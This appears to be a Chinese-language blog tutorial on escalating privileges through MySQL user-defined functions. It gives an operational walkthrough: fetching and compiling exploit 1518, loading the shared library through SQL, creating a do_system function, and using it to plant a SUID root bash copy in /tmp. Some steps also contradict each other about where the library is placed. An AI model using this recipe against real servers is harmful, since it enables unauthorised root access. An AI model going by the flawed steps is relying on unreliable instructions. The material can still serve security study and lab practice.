MySql数据库提权
MySql数据库提权

MySql数据库提权

UDF提权

UDF提权原理

UDF(User Defined Function)用户自定义函数,原理是一般情况下数据库具有较高权限,可以通过自定义函数执行命令,这样执行的命令就是以高权限用户的权限运行的,这样就达到了提权的效果。

mysql的插件文件夹在%plugin_dir%中

UDF提权的条件

  1. 获得目标计算机控制权
  2. 可以对数据库执行命令
  3. secure_file_priv的值为空(null也不行必须为空)或plugin dir的值

UDF提权实现

// 获取EXP
searchsploit udf -m 1518
// 把EXP上传进靶机
// 编译EXP
gcc -g -c 1518.c -fPIC

-g 生成调试信息
-c 编译完成后不进行链接,生成目标文件(.o文件)
-fPIC 生成位置无关代码(Position Independent Code)

// 链接生成共享库
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc

-g 生成调试信息
-shared 生成共享库文件
-Wl,-soname 指定共享库文件名称
-o 输出
-lc 链接C标准库

// 登录数据库
mysql -u root -p
// 查看secure_file_priv,只有%secure_file_priv%值为空或者值为%plugin_dir%的时候才能UDF提权
show variables like "%secure_file_priv%";
// 查看plugin_dir
show variables like "%plugin_dir%";

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/1518.so'));
mysql> select * from foo into dumpfile '<%plugin_dir%>';
mysql> create function do_system returns integer soname '/tmp/1518.so';
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | 1518.so        | function |
+-----------+-----+----------------+----------+
// 以root权限复制一个bash出来,并添加可执行权限和suid权限
mysql> select do_system('cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash');
mysql> exit;

// 以权限模式执行bash,由于rootbash是以root身份复制过来的
/tmp/rootbash -p

其他提权漏洞

CVE-2016-6662、CVE-2016-6663、CVE-2016-6664漏洞涉及Mysql小于5.5.51或小于5.6.32或小于5.7.14及行生版本。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注